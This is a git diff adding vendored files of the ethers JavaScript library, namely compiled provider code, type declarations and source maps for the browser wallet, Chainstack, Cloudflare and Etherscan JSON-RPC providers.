+{"version":3,"file":"provider-browser.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider-browser.ts"],"names":[],"mappings":"AAGA,OAAO,EAAE,yBAAyB,EAAE,MAAM,uBAAuB,CAAC;AAElE,OAAO,KAAK,EAER,YAAY,EAAE,cAAc,EAAE,aAAa,EAC3C,aAAa,EAChB,MAAM,uBAAuB,CAAC;AAC/B,OAAO,KAAK,EAAE,OAAO,EAAE,UAAU,EAAE,MAAM,cAAc,CAAC;AAExD;;;;GAIG;AACH,MAAM,WAAW,eAAe;IAC5B;;OAEG;IACH,OAAO,CAAC,OAAO,EAAE;QAAE,MAAM,EAAE,MAAM,CAAC;QAAC,MAAM,CAAC,EAAE,KAAK,CAAC,GAAG,CAAC,GAAG,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,CAAA;KAAE,GAAG,OAAO,CAAC,GAAG,CAAC,CAAC;CACjG;AAED;;;GAGG;AACH,MAAM,MAAM,yBAAyB,GAAG;IACpC,MAAM,EAAE,oBAAoB,CAAC;IAC7B,OAAO,EAAE;QAAE,MAAM,EAAE,MAAM,CAAC;QAAC,MAAM,EAAE,KAAK,CAAC,GAAG,CAAC,CAAA;KAAE,CAAA;CAClD,GAAG;IACA,MAAM,EAAE,sBAAsB,CAAC;IAC/B,MAAM,EAAE,GAAG,CAAA;CACd,GAAG;IACA,MAAM,EAAE,qBAAqB,CAAC;IAC9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K,CAAC,cAAc,CAAC,GAAG,OAAO,CAAC,KAAK,CAAC,aAAa,GAAG,YAAY,CAAC,CAAC;IAc1G,WAAW,CAAC,OAAO,EAAE,cAAc,EAAE,KAAK,EAAE,YAAY,GAAG,KAAK;IAkBhE;;OAEG;IACG,SAAS,CAAC,OAAO,EAAE,MAAM,GAAG,MAAM,GAAG,OAAO,CAAC,OAAO,CAAC;IAYrD,SAAS,CAAC,OAAO,CAAC,EAAE,MAAM,GAAG,MAAM,GAAG,OAAO,CAAC,aAAa,CAAC;IAgBlE;;;;OAIG;WACU,QAAQ,CAAC,OAAO,CAAC,EAAE,sBAAsB,GAAG,OAAO,CAAC,IAAI,GAAG,eAAe,CAAC;CAsG3F"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-browser.js b/node_modules/ethers/lib.commonjs/providers/provider-browser.js new file mode 100644 index 000000000000..4f4f32384d67 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-browser.js @@ -0,0 +1,204 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.BrowserProvider = void 0; +const index_js_1 = require("../utils/index.js"); +const provider_jsonrpc_js_1 = require("./provider-jsonrpc.js"); +; +/** + * A **BrowserProvider** is intended to wrap an injected provider which + * adheres to the [[link-eip-1193]] standard, which most (if not all) + * currently do. + */ +class BrowserProvider extends provider_jsonrpc_js_1.JsonRpcApiPollingProvider { + #request; + #providerInfo; + /** + * Connect to the %%ethereum%% provider, optionally forcing the + * %%network%%. + */ + constructor(ethereum, network, _options) { + // Copy the options + const options = Object.assign({}, ((_options != null) ? _options : {}), { batchMaxCount: 1 }); + (0, index_js_1.assertArgument)(ethereum && ethereum.request, "invalid EIP-1193 provider", "ethereum", ethereum); + super(network, options); + this.#providerInfo = null; + if (_options && _options.providerInfo) { + this.#providerInfo = _options.providerInfo; + } + this.#request = async (method, params) => { + const payload = { method, params }; + this.emit("debug", { action: "sendEip1193Request", payload }); + try { + const result = await ethereum.request(payload); + this.emit("debug", { action: "receiveEip1193Result", result }); + return result; + } + catch (e) { + const error = new Error(e.message); + error.code = e.code; + error.data = e.data; + error.payload = payload; + this.emit("debug", { action: "receiveEip1193Error", error }); + throw error; + } + }; + } + get providerInfo() { + return this.#providerInfo; + } + async send(method, params) { + await this._start(); + return await super.send(method, params); + } + async _send(payload) { + (0, index_js_1.assertArgument)(!Array.isArray(payload), "EIP-1193 does not support batch request", "payload", payload); + try { + const result = await this.#request(payload.method, payload.params || []); + return [{ id: payload.id, result }]; + } + catch (e) { + return [{ + id: payload.id, + error: { code: e.code, data: e.data, message: e.message } + }]; + } + } + getRpcError(payload, error) { + error = JSON.parse(JSON.stringify(error)); + // EIP-1193 gives us some machine-readable error codes, so rewrite + // them into Ethers standard errors. + switch (error.error.code || -1) { + case 4001: + error.error.message = `ethers-user-denied: ${error.error.message}`; + break; + case 4200: + error.error.message = `ethers-unsupported: ${error.error.message}`; + break; + } + return super.getRpcError(payload, error); + } + /** + * Resolves to ``true`` if the provider manages the %%address%%. + */ + async hasSigner(address) { + if (address == null) { + address = 0; + } + const accounts = await this.send("eth_accounts", []); + if (typeof (address) === "number") { + return (accounts.length > address); + } + address = address.toLowerCase(); + return accounts.filter((a) => (a.toLowerCase() === address)).length !== 0; + } + async getSigner(address) { + if (address == null) { + address = 0; + } + if (!(await this.hasSigner(address))) { + try { + await this.#request("eth_requestAccounts", []); + } + catch (error) { + const payload = error.payload; + throw this.getRpcError(payload, { id: payload.id, error }); + } + } + return await super.getSigner(address); + } + /** + * Discover and connect to a Provider in the Browser using the + * [[link-eip-6963]] discovery mechanism. If no providers are + * present, ``null`` is resolved. + */ + static async discover(options) { + if (options == null) { + options = {}; + } + if (options.provider) { + return new BrowserProvider(options.provider); + } + const context = options.window ? options.window : + (typeof (window) !== "undefined") ? window : null; + if (context == null) { + return null; + } + const anyProvider = options.anyProvider; + if (anyProvider && context.ethereum) { + return new BrowserProvider(context.ethereum); + } + if (!("addEventListener" in context && "dispatchEvent" in context + && "removeEventListener" in context)) { + return null; + } + const timeout = options.timeout ? options.timeout : 300; + if (timeout === 0) { + return null; + } + return await (new Promise((resolve, reject) => { + let found = []; + const addProvider = (event) => { + found.push(event.detail); + if (anyProvider) { + finalize(); + } + }; + const finalize = () => { + clearTimeout(timer); + if (found.length) { + // If filtering is provided: + if (options && options.filter) { + // Call filter, with a copies of found provider infos + const filtered = options.filter(found.map(i => Object.assign({}, (i.info)))); + if (filtered == null) { + // No provider selected + resolve(null); + } + else if (filtered instanceof BrowserProvider) { + // Custom provider created + resolve(filtered); + } + else { + // Find the matching provider + let match = null; + if (filtered.uuid) { + const matches = found.filter(f => (filtered.uuid === f.info.uuid)); + // @TODO: What should happen if multiple values + // for the same UUID? + match = matches[0]; + } + if (match) { + const { provider, info } = match; + resolve(new BrowserProvider(provider, undefined, { + providerInfo: info + })); + } + else { + reject((0, index_js_1.makeError)("filter returned unknown info", "UNSUPPORTED_OPERATION", { + value: filtered + })); + } + } + } + else { + // Pick the first found provider + const { provider, info } = found[0]; + resolve(new BrowserProvider(provider, undefined, { + providerInfo: info + })); + } + } + else { + // Nothing found + resolve(null); + } + context.removeEventListener("eip6963:announceProvider", addProvider); + }; + const timer = setTimeout(() => { finalize(); }, timeout); + context.addEventListener("eip6963:announceProvider", addProvider); + context.dispatchEvent(new Event("eip6963:requestProvider")); + })); + } +} +exports.BrowserProvider = BrowserProvider; +//# sourceMappingURL=provider-browser.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-browser.js.map b/node_modules/ethers/lib.commonjs/providers/provider-browser.js.map new file mode 100644 index 000000000000..cd5156a1a04f --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-browser.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-browser.js","sourceRoot":"","sources":["../../src.ts/providers/provider-browser.ts"],"names":[],"mappings":";;;AACA,gDAA8D;AAE9D,+DAAkE;AAmBjE,CAAC;AAmFF;;;;GAIG;AACH,MAAa,eAAgB,SAAQ,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;gCACnC,+CAA+C;gCAC/C,4BAA4B;gCAC5B,KAAK,GAAG,OAAO,CAAC,CAAC,CAAC,CAAC;6BACtB;4BAED,IAAI,KAAK,EAAE;gCACP,MAAM,EAAE,QAAQ,EAAE,IAAI,EAAE,GAAG,KAAK,CAAC;gCACjC,OAAO,CAAC,IAAI,eAAe,CAAC,QAAQ,EAAE,SAAS,EAAE;oCAC7C,YAAY,EAAE,IAAI;iCACrB,CAAC,CAAC,CAAC;6BACP;iCAAM;gCACH,MAAM,CAAC,IAAA,oBAAS,EAAC,8BAA8B,EAAE,uBAAuB,EAAE;oCACtE,KAAK,EAAE,QAAQ;iCAClB,CAAC,CAAC,CAAC;6BACP;yBACJ;qBAEJ;yBAAM;wBAEH,gCAAgC;wBAChC,MAAM,EAAE,QAAQ,EAAE,IAAI,EAAE,GAAG,KAAK,CAAC,CAAC,CAAC,CAAC;wBACpC,OAAO,CAAC,IAAI,eAAe,CAAC,QAAQ,EAAE,SAAS,EAAE;4BAC7C,YAAY,EAAE,IAAI;yBACrB,CAAC,CAAC,CAAC;qBACP;iBAEJ;qBAAM;oBACH,gBAAgB;oBAChB,OAAO,CAAC,IAAI,CAAC,CAAC;iBACjB;gBAED,OAAO,CAAC,mBAAmB,CAAM,0BAA0B,EACzD,WAAW,CAAC,CAAC;YACnB,CAAC,CAAC;YAEF,MAAM,KAAK,GAAG,UAAU,CAAC,GAAG,EAAE,GAAG,QAAQ,EAAE,CAAC,CAAC,CAAC,EAAE,OAAO,CAAC,CAAC;YAEzD,OAAO,CAAC,gBAAgB,CAAM,0BAA0B,EACtD,WAAW,CAAC,CAAC;YAEf,OAAO,CAAC,aAAa,CAAC,IAAI,KAAK,CAAC,yBAAyB,CAAC,CAAC,CAAC;QAChE,CAAC,CAAC,CAAC,CAAC;IACR,CAAC;CACJ;AA/ND,0CA+NC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-chainstack.d.ts b/node_modules/ethers/lib.commonjs/providers/provider-chainstack.d.ts new file mode 100644 index 000000000000..dfc4f8ed76e0 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-chainstack.d.ts @@ -0,0 +1,46 @@ +/** + * [[link-chainstack]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Arbitrum (``arbitrum``) + * - BNB Smart Chain Mainnet (``bnb``) + * - Polygon (``matic``) + * + * @_subsection: api/providers/thirdparty:Chainstack [providers-chainstack] + */ +import { FetchRequest } from "../utils/index.js"; +import { Network } from "./network.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; +import type { AbstractProvider } from "./abstract-provider.js"; +import type { CommunityResourcable } from "./community.js"; +import type { Networkish } from "./network.js"; +/** + * The **ChainstackProvider** connects to the [[link-chainstack]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-chainstack). + */ +export declare class ChainstackProvider extends JsonRpcProvider implements CommunityResourcable { + /** + * The API key for the Chainstack connection. + */ + readonly apiKey: string; + /** + * Creates a new **ChainstackProvider**. + */ + constructor(_network?: Networkish, apiKey?: null | string); + _getProvider(chainId: number): AbstractProvider; + isCommunityResource(): boolean; + /** + * Returns a prepared request for connecting to %%network%% + * with %%apiKey%% and %%projectSecret%%. + */ + static getRequest(network: Network, apiKey?: null | string): FetchRequest; +} +//# sourceMappingURL=provider-chainstack.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-chainstack.d.ts.map b/node_modules/ethers/lib.commonjs/providers/provider-chainstack.d.ts.map new file mode 100644 index 000000000000..54601b2dea64 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-chainstack.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-chainstack.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider-chainstack.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;GAYG;AACH,OAAO,EACe,YAAY,EACjC,MAAM,mBAAmB,CAAC;AAG3B,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAC;AACvC,OAAO,EAAE,eAAe,EAAE,MAAM,uBAAuB,CAAC;AAExD,OAAO,KAAK,EAAE,gBAAgB,EAAE,MAAM,wBAAwB,CAAC;AAC/D,OAAO,KAAK,EAAE,oBAAoB,EAAE,MAAM,gBAAgB,CAAC;AAC3D,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,cAAc,CAAC;AA6B/C;;;;;;;;GAQG;AACH,qBAAa,kBAAmB,SAAQ,eAAgB,YAAW,oBAAoB;IACnF;;OAEG;IACH,QAAQ,CAAC,MAAM,EAAG,MAAM,CAAC;IAEzB;;OAEG;gBACS,QAAQ,CAAC,EAAE,UAAU,EAAE,MAAM,CAAC,EAAE,IAAI,GAAG,MAAM;IAYzD,YAAY,CAAC,OAAO,EAAE,MAAM,GAAG,gBAAgB;IAO/C,mBAAmB,IAAI,OAAO;IAI9B;;;OAGG;IACH,MAAM,CAAC,UAAU,CAAC,OAAO,EAAE,OAAO,EAAE,MAAM,CAAC,EAAE,IAAI,GAAG,MAAM,GAAG,YAAY;CAe5E"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-chainstack.js b/node_modules/ethers/lib.commonjs/providers/provider-chainstack.js new file mode 100644 index 000000000000..c36a8128c040 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-chainstack.js @@ -0,0 +1,102 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.ChainstackProvider = void 0; +/** + * [[link-chainstack]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Arbitrum (``arbitrum``) + * - BNB Smart Chain Mainnet (``bnb``) + * - Polygon (``matic``) + * + * @_subsection: api/providers/thirdparty:Chainstack [providers-chainstack] + */ +const index_js_1 = require("../utils/index.js"); +const community_js_1 = require("./community.js"); +const network_js_1 = require("./network.js"); +const provider_jsonrpc_js_1 = require("./provider-jsonrpc.js"); +function getApiKey(name) { + switch (name) { + case "mainnet": return "39f1d67cedf8b7831010a665328c9197"; + case "arbitrum": return "0550c209db33c3abf4cc927e1e18cea1"; + case "bnb": return "98b5a77e531614387366f6fc5da097f8"; + case "matic": return "cd9d4d70377471aa7c142ec4a4205249"; + } + (0, index_js_1.assertArgument)(false, "unsupported network", "network", name); +} +function getHost(name) { + switch (name) { + case "mainnet": + return "ethereum-mainnet.core.chainstack.com"; + case "arbitrum": + return "arbitrum-mainnet.core.chainstack.com"; + case "bnb": + return "bsc-mainnet.core.chainstack.com"; + case "matic": + return "polygon-mainnet.core.chainstack.com"; + } + (0, index_js_1.assertArgument)(false, "unsupported network", "network", name); +} +/** + * The **ChainstackProvider** connects to the [[link-chainstack]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-chainstack). + */ +class ChainstackProvider extends provider_jsonrpc_js_1.JsonRpcProvider { + /** + * The API key for the Chainstack connection. + */ + apiKey; + /** + * Creates a new **ChainstackProvider**. + */ + constructor(_network, apiKey) { + if (_network == null) { + _network = "mainnet"; + } + const network = network_js_1.Network.from(_network); + if (apiKey == null) { + apiKey = getApiKey(network.name); + } + const request = ChainstackProvider.getRequest(network, apiKey); + super(request, network, { staticNetwork: network }); + (0, index_js_1.defineProperties)(this, { apiKey }); + } + _getProvider(chainId) { + try { + return new ChainstackProvider(chainId, this.apiKey); + } + catch (error) { } + return super._getProvider(chainId); + } + isCommunityResource() { + return (this.apiKey === getApiKey(this._network.name)); + } + /** + * Returns a prepared request for connecting to %%network%% + * with %%apiKey%% and %%projectSecret%%. + */ + static getRequest(network, apiKey) { + if (apiKey == null) { + apiKey = getApiKey(network.name); + } + const request = new index_js_1.FetchRequest(`https:/\/${getHost(network.name)}/${apiKey}`); + request.allowGzip = true; + if (apiKey === getApiKey(network.name)) { + request.retryFunc = async (request, response, attempt) => { + (0, community_js_1.showThrottleMessage)("ChainstackProvider"); + return true; + }; + } + return request; + } +} +exports.ChainstackProvider = ChainstackProvider; +//# sourceMappingURL=provider-chainstack.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-chainstack.js.map b/node_modules/ethers/lib.commonjs/providers/provider-chainstack.js.map new file mode 100644 index 000000000000..759987230231 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-chainstack.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-chainstack.js","sourceRoot":"","sources":["../../src.ts/providers/provider-chainstack.ts"],"names":[],"mappings":";;;AAAA;;;;;;;;;;;;GAYG;AACH,gDAE2B;AAE3B,iDAAqD;AACrD,6CAAuC;AACvC,+DAAwD;AAOxD,SAAS,SAAS,CAAC,IAAY;IAC3B,QAAQ,IAAI,EAAE;QACV,KAAK,SAAS,CAAC,CAAC,OAAO,kCAAkC,CAAC;QAC1D,KAAK,UAAU,CAAC,CAAC,OAAO,kCAAkC,CAAA;QAC1D,KAAK,KAAK,CAAC,CAAC,OAAO,kCAAkC,CAAC;QACtD,KAAK,OAAO,CAAC,CAAC,OAAO,kCAAkC,CAAC;KAC3D;IAED,IAAA,yBAAc,EAAC,KAAK,EAAE,qBAAqB,EAAE,SAAS,EAAE,IAAI,CAAC,CAAC;AAClE,CAAC;AAED,SAAS,OAAO,CAAC,IAAY;IACzB,QAAO,IAAI,EAAE;QACT,KAAK,SAAS;YACV,OAAO,sCAAsC,CAAC;QAClD,KAAK,UAAU;YACX,OAAO,sCAAsC,CAAC;QAClD,KAAK,KAAK;YACN,OAAO,iCAAiC,CAAC;QAC7C,KAAK,OAAO;YACR,OAAO,qCAAqC,CAAC;KACpD;IAED,IAAA,yBAAc,EAAC,KAAK,EAAE,qBAAqB,EAAE,SAAS,EAAE,IAAI,CAAC,CAAC;AAClE,CAAC;AAED;;;;;;;;GAQG;AACH,MAAa,kBAA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SAAS,GAAG,IAAI,CAAC;QAEzB,IAAI,MAAM,KAAK,SAAS,CAAC,OAAO,CAAC,IAAI,CAAC,EAAE;YACpC,OAAO,CAAC,SAAS,GAAG,KAAK,EAAE,OAAO,EAAE,QAAQ,EAAE,OAAO,EAAE,EAAE;gBACrD,IAAA,kCAAmB,EAAC,oBAAoB,CAAC,CAAC;gBAC1C,OAAO,IAAI,CAAC;YAChB,CAAC,CAAC;SACL;QAED,OAAO,OAAO,CAAC;IACnB,CAAC;CACJ;AAnDD,gDAmDC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-cloudflare.d.ts b/node_modules/ethers/lib.commonjs/providers/provider-cloudflare.d.ts new file mode 100644 index 000000000000..869651f449f0 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-cloudflare.d.ts @@ -0,0 +1,14 @@ +/** + * About Cloudflare + * + * @_subsection: api/providers/thirdparty:Cloudflare [providers-cloudflare] + */ +import { JsonRpcProvider } from "./provider-jsonrpc.js"; +import type { Networkish } from "./network.js"; +/** + * About Cloudflare... + */ +export declare class CloudflareProvider extends JsonRpcProvider { + constructor(_network?: Networkish); +} +//# sourceMappingURL=provider-cloudflare.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-cloudflare.d.ts.map b/node_modules/ethers/lib.commonjs/providers/provider-cloudflare.d.ts.map new file mode 100644 index 000000000000..a7469a00c398 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-cloudflare.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-cloudflare.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider-cloudflare.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAKH,OAAO,EAAE,eAAe,EAAE,MAAM,uBAAuB,CAAC;AAExD,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,cAAc,CAAC;AAE/C;;GAEG;AACH,qBAAa,kBAAmB,SAAQ,eAAe;gBACvC,QAAQ,CAAC,EAAE,UAAU;CAMpC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-cloudflare.js b/node_modules/ethers/lib.commonjs/providers/provider-cloudflare.js new file mode 100644 index 000000000000..9e870acf2b50 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-cloudflare.js @@ -0,0 +1,26 @@ +"use strict"; +/** + * About Cloudflare + * + * @_subsection: api/providers/thirdparty:Cloudflare [providers-cloudflare] + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.CloudflareProvider = void 0; +const index_js_1 = require("../utils/index.js"); +const network_js_1 = require("./network.js"); +const provider_jsonrpc_js_1 = require("./provider-jsonrpc.js"); +/** + * About Cloudflare... + */ +class CloudflareProvider extends provider_jsonrpc_js_1.JsonRpcProvider { + constructor(_network) { + if (_network == null) { + _network = "mainnet"; + } + const network = network_js_1.Network.from(_network); + (0, index_js_1.assertArgument)(network.name === "mainnet", "unsupported network", "network", _network); + super("https:/\/cloudflare-eth.com/", network, { staticNetwork: network }); + } +} +exports.CloudflareProvider = CloudflareProvider; +//# sourceMappingURL=provider-cloudflare.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-cloudflare.js.map b/node_modules/ethers/lib.commonjs/providers/provider-cloudflare.js.map new file mode 100644 index 000000000000..e075d53365a2 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-cloudflare.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-cloudflare.js","sourceRoot":"","sources":["../../src.ts/providers/provider-cloudflare.ts"],"names":[],"mappings":";AAAA;;;;GAIG;;;AAEH,gDAAmD;AAEnD,6CAAuC;AACvC,+DAAwD;AAIxD;;GAEG;AACH,MAAa,kBAAmB,SAAQ,qCAAe;IACnD,YAAY,QAAqB;QAC7B,IAAI,QAAQ,IAAI,IAAI,EAAE;YAAE,QAAQ,GAAG,SAAS,CAAC;SAAE;QAC/C,MAAM,OAAO,GAAG,oBAAO,CAAC,IAAI,CAAC,QAAQ,CAAC,CAAC;QACvC,IAAA,yBAAc,EAAC,OAAO,CAAC,IAAI,KAAK,SAAS,EAAE,qBAAqB,EAAE,SAAS,EAAE,QAAQ,CAAC,CAAC;QACvF,KAAK,CAAC,8BAA8B,EAAE,OAAO,EAAE,EAAE,aAAa,EAAE,OAAO,EAAE,CAAC,CAAC;IAC/E,CAAC;CACJ;AAPD,gDAOC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-etherscan.d.ts b/node_modules/ethers/lib.commonjs/providers/provider-etherscan.d.ts new file mode 100644 index 000000000000..bb45e4fa1039 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-etherscan.d.ts @@ -0,0 +1,152 @@ +/** + * [[link-etherscan]] provides a third-party service for connecting to + * various blockchains over a combination of JSON-RPC and custom API + * endpoints. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Holesky Testnet (``holesky``) + * - Arbitrum (``arbitrum``) + * - Arbitrum Goerli Testnet (``arbitrum-goerli``) + * - Base (``base``) + * - Base Sepolia Testnet (``base-sepolia``) + * - BNB Smart Chain Mainnet (``bnb``) + * - BNB Smart Chain Testnet (``bnbt``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Polygon (``matic``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * - Polygon Amoy Testnet (``matic-amoy``) + * + * @_subsection api/providers/thirdparty:Etherscan [providers-etherscan] + */ +import { Contract } from "../contract/index.js"; +import { AbstractProvider } from "./abstract-provider.js"; +import { Network } from "./network.js"; +import { NetworkPlugin } from "./plugins-network.js"; +import { PerformActionRequest } from "./abstract-provider.js"; +import type { Networkish } from "./network.js"; +import type { TransactionRequest } from "./provider.js"; +/** + * When subscribing to the ``"debug"`` event on an Etherscan-based + * provider, the events receive a **DebugEventEtherscanProvider** + * payload. + * + * @_docloc: api/providers/thirdparty:Etherscan + */ +export type DebugEventEtherscanProvider = { + action: "sendRequest"; + id: number; + url: string; + payload: Record; +} | { + action: "receiveRequest"; + id: number; + result: any; +} | { + action: "receiveError"; + id: number; + error: any; +}; +/** + * A Network can include an **EtherscanPlugin** to provide + * a custom base URL. + * + * @_docloc: api/providers/thirdparty:Etherscan + */ +export declare class EtherscanPlugin extends NetworkPlugin { + /** + * The Etherscan API base URL. + */ + readonly baseUrl: string; + /** + * Creates a new **EtherscanProvider** which will use + * %%baseUrl%%. + */ + constructor(baseUrl: string); + clone(): EtherscanPlugin; +} +/** + * The **EtherscanBaseProvider** is the super-class of + * [[EtherscanProvider]], which should generally be used instead. + * + * Since the **EtherscanProvider** includes additional code for + * [[Contract]] access, in //rare cases// that contracts are not + * used, this class can reduce code size. + * + * @_docloc: api/providers/thirdparty:Etherscan + */ +export declare class EtherscanProvider extends AbstractProvider { + #private; + /** + * The connected network. + */ + readonly network: Network; + /** + * The API key or null if using the community provided bandwidth. + */ + readonly apiKey: null | string; + /** + * Creates a new **EtherscanBaseProvider**. + */ + constructor(_network?: Networkish, _apiKey?: string); + /** + * Returns the base URL. + * + * If an [[EtherscanPlugin]] is configured on the + * [[EtherscanBaseProvider_network]], returns the plugin's + * baseUrl. + * + * Deprecated; for Etherscan v2 the base is no longer a simply + * host, but instead a URL including a chainId parameter. Changing + * this to return a URL prefix could break some libraries, so it + * is left intact but will be removed in the future as it is unused. + */ + getBaseUrl(): string; + /** + * Returns the URL for the %%module%% and %%params%%. + */ + getUrl(module: string, params: Record): string; + /** + * Returns the URL for using POST requests. + */ + getPostUrl(): string; + /** + * Returns the parameters for using POST requests. + */ + getPostData(module: string, params: Record): Record; + detectNetwork(): Promise; + /** + * Resolves to the result of calling %%module%% with %%params%%. + * + * If %%post%%, the request is made as a POST request. + */ + fetch(module: string, params: Record, post?: boolean): Promise; + /** + * Returns %%transaction%% normalized for the Etherscan API. + */ + _getTransactionPostData(transaction: TransactionRequest): Record; + /** + * Throws the normalized Etherscan error. + */ + _checkError(req: PerformActionRequest, error: Error, transaction: any): never; + _detectNetwork(): Promise; + _perform(req: PerformActionRequest): Promise; + getNetwork(): Promise; + /** + * Resolves to the current price of ether. + * + * This returns ``0`` on any network other than ``mainnet``. + */ + getEtherPrice(): Promise; + /** + * Resolves to a [Contract]] for %%address%%, using the + * Etherscan API to retreive the Contract ABI. + */ + getContract(_address: string): Promise; + isCommunityResource(): boolean; +} +//# sourceMappingURL=provider-etherscan.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-etherscan.d.ts.map b/node_modules/ethers/lib.commonjs/providers/provider-etherscan.d.ts.map new file mode 100644 index 000000000000..89ec07ee3bcc --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-etherscan.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-etherscan.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider-etherscan.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;GAwBG;AAGH,OAAO,EAAE,QAAQ,EAAE,MAAM,sBAAsB,CAAC;AAWhD,OAAO,EAAE,gBAAgB,EAAE,MAAM,wBAAwB,CAAC;AAC1D,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAC;AACvC,OAAO,EAAE,aAAa,EAAE,MAAM,sBAAsB,CAAC;AAGrD,OAAO,EAAE,oBAAoB,EAAE,MAAM,wBAAwB,CAAC;AAC9D,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,cAAc,CAAC;AAE/C,OAAO,KAAK,EAAE,kBAAkB,EAAE,MAAM,eAAe,CAAC;AASxD;;;;;;GAMG;AACH,MAAM,MAAM,2BAA2B,GAAG;IACtC,MAAM,EAAE,aAAa,CAAC;IACtB,EAAE,EAAE,MAAM,CAAC;IACX,GAAG,EAAE,MAAM,CAAC;IACZ,OAAO,EAAE,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,CAAA;CAC/B,GAAG;IACA,MAAM,EAAE,gBAAgB,CAAC;IACzB,EAAE,EA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,MAAM,CAAC;IAoChF;;OAEG;IACH,WAAW,CAAC,GAAG,EAAE,oBAAoB,EAAE,KAAK,EAAE,KAAK,EAAE,WAAW,EAAE,GAAG,GAAG,KAAK;IAgEvE,cAAc,IAAI,OAAO,CAAC,OAAO,CAAC;IAIlC,QAAQ,CAAC,GAAG,EAAE,oBAAoB,GAAG,OAAO,CAAC,GAAG,CAAC;IAsMjD,UAAU,IAAI,OAAO,CAAC,OAAO,CAAC;IAIpC;;;;OAIG;IACG,aAAa,IAAI,OAAO,CAAC,MAAM,CAAC;IAKtC;;;OAGG;IACG,WAAW,CAAC,QAAQ,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,GAAG,QAAQ,CAAC;IAc7D,mBAAmB,IAAI,OAAO;CAGjC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-etherscan.js b/node_modules/ethers/lib.commonjs/providers/provider-etherscan.js new file mode 100644 index 000000000000..72bc30670206 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-etherscan.js @@ -0,0 +1,593 @@ +"use strict"; +/** + * [[link-etherscan]] provides a third-party service for connecting to + * various blockchains over a combination of JSON-RPC and custom API + * endpoints. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Holesky Testnet (``holesky``) + * - Arbitrum (``arbitrum``) + * - Arbitrum Goerli Testnet (``arbitrum-goerli``) + * - Base (``base``) + * - Base Sepolia Testnet (``base-sepolia``) + * - BNB Smart Chain Mainnet (``bnb``) + * - BNB Smart Chain Testnet (``bnbt``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Polygon (``matic``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * - Polygon Amoy Testnet (``matic-amoy``) + * + * @_subsection api/providers/thirdparty:Etherscan 